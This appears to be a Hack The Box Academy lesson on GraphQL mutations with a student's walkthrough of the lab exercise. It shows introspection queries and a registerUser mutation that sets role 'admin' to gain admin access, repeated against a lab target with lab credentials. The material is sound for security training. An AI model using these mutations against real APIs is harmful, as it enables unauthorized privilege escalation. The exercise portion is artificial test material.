Mutations

In the Introduction to GraphQL section, we discussed various basic elements of GraphQL queries. However, you might have noticed that we only discussed ways to read data. Just like REST APIs, GraphQL also provides a way to modify data: mutations.

What are mutations?

Mutations are GraphQL queries that modify server data. They can be used to create new objects, update existing objects, or delete existing objects.

Let us start by identifying all mutations supported by the backend and their arguments. We will use the following introspection query:

query {
  __schema {
    mutationType {
      name
      fields {
        name
        args {
          name
          defaultValue
          type {
            ...TypeRef
          }
        }
      }
    }
  }
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}

From the result, we can identify a mutation registerUser, presumably allowing us to create new users. The mutation requires a RegisterUserInput object as an input:

GraphiQL interface showing a query and response. Query: retrieves schema mutation type fields and arguments. Response: mutation type "Mutation" with field "registerUser", argument "input" of type "RegisterUserInput".

We can now query all fields of the RegisterUserInput object with the following introspection query to obtain all fields that we can use in the mutation:

{   
  __type(name: "RegisterUserInput") {
    name
    inputFields {
      name
      description
      defaultValue
    }
  }
}

From the result, we can identify that we can provide the new user's username, password, role, and msg:

GraphiQL interface showing a query and response. Query: retrieves type "RegisterUserInput" with input fields. Response: fields include "username", "password", "role", and "msg", all with null descriptions and default values.

As we identified earlier, we need to provide the password as an MD5 hash. To hash our password, we can use the following command:

m4cc18@htb[/htb]$ echo -n 'password' | md5sum

5f4dcc3b5aa765d61d8327deb882cf99  -

With the hashed password, we can now finally register a new user by running the mutation:

mutation {
  registerUser(input: {username: "vautia", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "user", msg: "newUser"}) {
    user {
      username
      password
      msg
      role
    }
  }
}

The result contains the fields we queried in the mutation's body so that we can check for errors:

GraphiQL interface showing a mutation and response. Mutation: registerUser with input username "vautia" and password. Response: user data includes username "vautia", password, message "newUser", and role "user".

We can now successfully log in to the application with our newly registered user.

Exploitation with Mutations

To identify potential attack vectors through mutations, we must thoroughly examine all supported mutations and their corresponding inputs. In this case, we can provide the role argument for newly registered users, which might enable us to create users with a different role than the default role, potentially allowing us to escalate privileges.

We have identified the roles user and admin by querying all existing users. Let us create a new user with the role admin and check if this enables us to access the internal admin endpoint at /admin. We can use the following GraphQL mutation:

mutation {
  registerUser(input: {username: "vautiaAdmin", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "admin", msg: "Hacked!"}) {
    user {
      username
      password
      msg
      role
    }
  }
}

In the result, we can see that the role admin is reflected, which indicates that the attack was successful:

GraphiQL interface showing a mutation and response. Mutation: registerUser with input username "vautiaAdmin" and password. Response: user data includes username "vautiaAdmin", password, message "Hacked!", and role "admin".

After logging in, we can now access the admin endpoint, meaning we have successfully escalated our privileges:

Webpage displaying "This is the admin area!" with navigation links: Home, Profile, Admin Area, Logout. Social media icons for YouTube, Facebook, Twitter, GitHub. Footer with "© 2024 Copyright".


Exercise

TARGET: 154.57.164.82:32008

Authenticate to target with username "htb-stdnt" and password "AcademyStudent!"

Challenge 1

What is the flag you find in the admin dashboard?

First visit the web app and log in with the provided credentials:
image-1.png

While logged in, go to the Profile tab on the top left. This click will redirect to: http://154.57.164.67:30244/user
image-2.png

Note that right after the redirect to /user a GraphQL query is posted:
2026-09-14_22-11-29.png

This query contains:

{
	"query":"{user(username: \"htb-stdnt\") { id username msg role }}"
}

I will then continue by reaching:

http://154.57.164.82:32008/graphql

Next we have to query for all available mutations. I used the same query shown earlier in this section:
image-3.png

Now lets see what fields we need to register a user. I will use the same query shown in this section:
image-4.png

The password needs to be hashed so I will just use the hashed version of "password" that was shown in this section:

5f4dcc3b5aa765d61d8327deb882cf99

Now we just need to craft a mutation query to create the admin user. I will call this user "testAdmin":

mutation {
  registerUser(input: {username: "testAdmin", password: "5f4dcc3b5aa765d61d8327deb882cf99", role: "admin", msg: "test"}) {
    user {
      username
      password
      msg
      role
    }
  }
}

Result:

{
  "data": {
    "registerUser": {
      "user": {
        "username": "testAdmin",
        "password": "5f4dcc3b5aa765d61d8327deb882cf99",
        "msg": "test",
        "role": "admin"
      }
    }
  }
}

Finally we just need to log in as this user:
image-5.png
After logging in we will be able to access the "Admin Area" tab:
image-6.png

flag: HTB